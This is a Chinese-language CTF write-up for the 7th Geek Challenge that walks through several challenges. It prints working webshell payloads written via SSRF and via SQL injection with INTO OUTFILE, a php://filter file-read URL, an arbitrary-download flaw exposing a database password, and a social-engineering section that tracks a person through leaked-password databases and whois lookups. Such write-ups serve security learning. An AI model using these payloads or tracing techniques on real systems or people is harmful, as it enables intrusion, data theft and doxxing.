第七届极客大挑战

0x01、Social Engineering(社工)

有一天我捕了一只狗师傅,嘴里叼着一张纸,纸上赫然写着:http://web.sycsec.com/36da077bd47665ae/ (解题不需要联系题目邮箱和电话号码,请不要试图联系题目的邮箱和电话号码)
第一次碰到社工题,套路不咋懂,比较尴尬。

基本套路就是通过数据库查取泄露的密码,可见平时收集社工库的重要性啊。挂VPN访问社工库http://s.70sec.com/ 得到邮箱名字为肖力。
然后提示说是有贴吧,还提示了手机账号,以为是登录到贴吧账号里面,结果一直都不成功,尴尬。
同学提示直接搜索肖力吧啊,我去,还真有,原谅我不经常玩贴吧。找到一篇关于提示的帖子,加了qq然后又是各种尝试,发现注册了一个网站,进过whois反查,又找到他注册网址的一个谷歌邮箱,查看邮箱就找见了flag,过程确实有点曲折和脑洞啊。

0x02、php_is_fun

phpinfo() is disabled; http://game.sycsec.com:50084/
需要getshell,主要是看file_put_contents、file_get_contents函数。

<?php
if(isset($_GET) && !empty($_GET)){
    $url = $_GET['file'];
    $path = "upload/".$_GET['path'];
}else{
    show_source(__FILE__);
    exit();
}

if(strpos($path,'..') > -1){
    die('SYCwaf!');
}

if(strpos($url,'http://127.0.0.1/') === 0){
    file_put_contents($path, file_get_contents($url));
    echo "console.log($path update successed!)";
}else{
    echo "Hello.Geeker";
}
?>

又是进行代码审计
先get方式得到file和path参数,再将file参数赋值给$url,path的值和upload/拼接赋值给$path。strpos过滤掉了path的..防止目录遍历以及验证url必须为 http://127.0.0.1/, 然后从$url获取内容写入到path之中

file_put_contents():把一个字符串写入文件中
file_get_contents():将整个文件读入一个字符串

首先构造http://game.sycsec.com:50084/?file=http://127.0.0.1/&path=11.php

那我们继续访问上传的地址http://game.sycsec.com:50084/upload/11.php, 可以看见还是刚才的源码


可以判断出$url访问了 http://127.0.0.1/ 后将读取到的内容写入到11.php中了,那么我们可以构造一句话,让它读取到path这个php中,继而getshell

http://game.sycsec.com:50084/?file=http://127.0.0.1/&path=<?php eval($_POST[‘shell’]); ?>&path=11.php

使用此方法是上传成功了,但是却用菜刀连不上,访问的话还是原来的源代码。
原来ssrf做了二次编码,那么我们只能构造二次编码进行绕过了。由于服务器在接收GET参数的时候本身就会对参数进行一次URL解码 , 因此需要对file参数进行两次URL编码然后再进行传递,其实这里有问题就只是空格,空格URL编码后为%20,但是因为这里进行了两次URL解码因此需要将空格的URL编码再进行编码最后再传递,其实也只需要对%20中的%进行URL编码是%25

http://game.sycsec.com:50084/?file=http://127.0.0.1/?file=http://127.0.0.1/%26path%3D<?php%2520eval($_POST[%27shell%27]);?>&path=1.php

这样我们已经一句话成功写入,可以使用菜刀连入拿到flag了。

0x03、单身二十年,手速一定快

http://web.sycsec.com/0b3a7c6ca7f1f2e6/ 狗师傅说这道题要跑跑脚本呢:) 跑出后找qq:3245037532 推荐一下python学习链接啦:)http://pan.baidu.com/s/1hsdTlgo

由于有时间限制,所以得使用python进行提交,考察requests库

#!usr/bin/env python
# -*-coding=utf-8 -*-

import requests

s = requests.session()
url1 = 'http://web.sycsec.com/0b3a7c6ca7f1f2e6/'
url2 = 'http://web.sycsec.com/0b3a7c6ca7f1f2e6/judge.php'
html = s.get(url1).content
h = html.count('@')-1
post = {'mytext':h}
a = s.post(url2,data = post)
print a.content.decode('utf-8')

这样我们实现了脚本post提交数据的请求

学习链接:https://my.oschina.net/yangyanxing/blog/280029
http://docs.python-requests.org/zh_CN/latest/user/quickstart.html

0x04、compress300

是master go就解压300层 http://down.sycsec.com/programme/300

要解压三百次啊,天啊,只能是脚本运行了啊

#!usr/bin/env python
# -*- coding = utf-8 -*-

import zipfile
import tarfile

for i in range (1,301)[::-1]:
    path = str(i)
    try:
        tar = ratfile.open(path)
        tar.extractall()
    except:
        pass
    try:
        zip = zipfile.ZipFile(path)
        zip.extractall()
    except:
        pass

这样就可以解压300次得到flag

学习链接:http://wolfchen.blog.51cto.com/2211749/1290229
http://www.cnblogs.com/zhengyuxin/articles/1956178.html

0x05、你是人间四月天

岁月不堪数 故人不知处 最是人间留不住 http://game.sycsec.com:50080/9392d16bb9fbda00/

修改http://game.sycsec.com:50080/9392d16bb9fbda00/index.php?sel=yes

修改后还是没有什么卵用。
相信我是百度,所以我们http请求中referer头表示来自哪个链接,加了之后并没有什么卵用,还有就是host,表示主机,那就试着改一下吧,结果还真是改host

我们继续访问它的连接即可拿到flag

0x06、狗师傅的计算器

狗师傅说fuck my brain:)。http://game.sycsec.com:50085/

+++++ +++++ [->++ +++++ +++<] >++++ +++++ +++++ +++++ .<+++ +[->- ---<] >--.+ +++++ +.--- ----- -.<++ +[->+ ++<]> +++.- -.--- ----- .<+++ ++++[ ->--- ----< ]>--- ---.< +++++ +++[- >++++ ++++< ]>++. ----- ---.+ +++++ ++.<

一进来就是一个brainfuck加密,使用在线解密http://esoteric.sange.fi/brainfuck/impl/interp/i.html 进行解密,得到welcome.php

http://game.sycsec.com:50085/welcome.php 看到做题页面

经过查看发现有robots.txt

<?php
//竟然知道brain fuck 和 robots.txt 狗师傅咬你哦 -.-
//这时候狗师傅叼着下面的源码冲到你的面前,审啊,审不出就咬
//-.-
$num1=$_REQUEST['num1'];
$num2=$_REQUEST['num2'];
$oper=$_REQUEST['oper'];
$str=$_GET['syc'];

$pos=strpos($str,'/');    
if(0===$pos)
{
    die('Do not hack master go :)');
}
if(strpos($str ,'..') > -1 || strops($str , '=/') > -1){
die('Do not hack master go :)'); 
}
$result=include($str . ".php");
//echo $str;
$res=0;
switch($oper){
    case "+":
        $res=$num1+$num2;
        break;
    case "-":
        $res=$num1-$num2;
        break;
    case "*":
        $res=$num1*$num2;
        break;
    case "/":
        $res=$num1/$num2;
        break;
    default:
        echo '<br/>no data!';
}
echo '<br/>result='.$res ;
?> 
<br/>
<a href="syc.php">算对了你也找不到flag -.-</a>
<br/>
<a
href="robot.txt">你对php实现计算器感兴趣么,来这里看看
:) </a>

发现有个include(),可能含有文件包含漏洞,并且strpos()函数过滤掉了..和/,不能够进行目录遍历,那么试试我们的php伪协议php://filter

http://game.sycsec.com:50085/syc.php ,源码提示flag就在此页,于是我们在此构造

http://game.sycsec.com:50085/result.php?syc=php://filter/convert.base64-encode/resource=syc.php

结果提示,no data!,再看看源码,发现$result=include($str . “.php”);已经添加了.php的后缀名了,于是我们只要去掉后缀名即可

http://game.sycsec.com:50085/result.php?syc=php://filter/convert.base64-encode/resource=syc

找到了base64加密的代码,进行解密即可

5L2g55yL5LiN5Yiw5oiRIC0uLSAg5om+5LiN5YiwZmxhZ+WwseWOu+aJk+eLl+W4iOWCheWQpyA6KTxici8+PGJyLz48YnIvPjxici8+PGJyLz48YnIvPjxici8+PGJyLz48YnIvPjxici8+PGJyLz48YnIvPjxici8+PGJyLz48YnIvPjxici8+PGJyLz48YnIvPjxici8+PGJyLz48YnIvPjxici8+PGJyLz48YnIvPjxici8+PGJyLz48YnIvPjxici8+PGJyLz48YnIvPjxici8+PGJyLz48YnIvPjxici8+PGJyLz48YnIvPjxici8+PGJyLz4K5L2G5piv5ZCs6K+0ZmxhZ+WwseWcqOi/meS4qumhtemdouWViu+8jOaAjuS5iOaLv+WIsOWug+WRou+8nwo8P3BocCAKLy9TWUN7cGhwX2lTX0Z1bn0KPz4K

0x07、撸啊撸

喜欢玩LOL么 http://lol.sycsec.com 提示:运算符优先级

进入里面是一些图片的下载,没有什么线索,当我们点击下载的时候,这个下载链接看着有点意思啊,会不会有任意文件下载的可能呢?

http://lol.sycsec.com/download.php?url=images/9.jpg

构造后面的url可以下载到很多的敏感文件display.php、download.php等

http://lol.sycsec.com/download.php?url=download.php
http://lol.sycsec.com/download.php?url=display.php

这是diaplay.php的,可以发现含有config.inc.php

<?php
error_reporting(0);
$config = include "config.inc.php";

if (isset($_GET['id'])){
    $id = intval($_GET['id']);
    $conn = mysqli_connect($config['db_host'],$config['db_user'],$config['db_pwd'],$config['database']);

    if (mysqli_connect_errno($conn)){
        die("Can not connect mysql!".mysqli_connect_error());
    }

    $sql = "SELECT path FROM images WHERE id={$id}";
    $result = mysqli_query($conn,$sql);
    $row = mysqli_fetch_array($result,MYSQLI_ASSOC);
    $path = $row['path'];
} else{
    die('Missing parameter id');
}

?>

继续下载config.inc.php

<?php
return array(
    'db_host' => 'localhost',
    'db_user' => 'syclol',
    'db_pwd' => 'fJBGpEfu3wWLvNHB',
    'database' => 'syclol'
);

可以看见是链接数据库的,经过抓包发现还有个api.php,应该是链接数据库的

<?php
error_reporting(0);
include "json.php";
$config = include "config.inc.php";

if (isset($_GET['img_first']) and isset($_GET['img_num'])){
    $img_first = $_GET['img_first'];
    $img_num = $_GET['img_num'];
    $conn = mysqli_connect($config['db_host'],$config['db_user'],$config['db_pwd'],$config['database']);

    if (mysqli_connect_errno($conn)){
        die("Can not connect mysql!".mysqli_connect_error());
    }

    $check = is_numeric($img_num) and is_numeric($img_first);

    if (!$check){
        $img_num = intval($img_num);
        $img_first = intval($img_first);
    }

    $sql = "SELECT * FROM images LIMIT $img_first,$img_num";
    $result = mysqli_query($conn,$sql);

    $i = 0;
    while($row=mysqli_fetch_array($result,MYSQLI_ASSOC)){
        $rows[$i] = $row;
        $i++;
    }
    $json = new Services_JSON();
    echo $json->encode(array('result'=>$rows));
    //echo json_encode(array('result'=>$rows),JSON_UNESCAPED_SLASHES);
}else {
    die("Missing parameter img_first or img_num");
}

我们看到这个SELECT FROM images LIMIT $img_first,$img_num*可能存在sql注入,还提示是运算符优先级

$check = is_numeric($img_num) and is_numeric($img_first);  #is_numeric()检测变量是否为数字或者数字字符串

    if (!$check){
        $img_num = intval($img_num);
        $img_first = intval($img_first);
    }

既然是程序和用户交互的地方,因为这种地方在参数传递的时候没有对参数的类型和正确性进行判断,那就会留给我们利用的余地。
根据运算优先级知道,$check 这个变量的值就只取决于 $img_num.所以只要满足$img_num,就相当于$check也满足了。而剩下的$img_first就可以用来构造我们所需要的注入语句了。

查看数据库的基本路径

http://lol.sycsec.com/api.php?img_num=0&img_first=0 union select 1,@@datadir--+

{"result":[{"id":"1","path":"\/var\/lib\/mysql\/"}]}

可以看到目录/var/lib/mysql,由此可看服务器为Linux系统

接下来使用默认路径写入我们的一句话进去,使用菜刀连接

http://lol.sycsec.com/api.php?img_num=0&img_first=0%20union%20select%201,%22%3C?php%20eval($_POST[%27123456%27]);?%3E%22%20into%20outfile%20%22/var/www/html/images/123456.php%22--+

使用菜刀可进行连接拿到flag

0x08、皓宝宝的留言板

http://web.sycsec.com/42e1f42bcf3c0cfc/ 听说有很多妹子在这里写下她们对皓宝宝的爱慕之情
学习资料:https://github.com/l3m0n/XSS-Filter-Evasion-Cheat-Sheet-CN

0x09、Only number never lies to you

http://game.sycsec.com:50082/ Only number never lies to you. Tip:dir
进入链接就只有一个时钟在那一直走一直走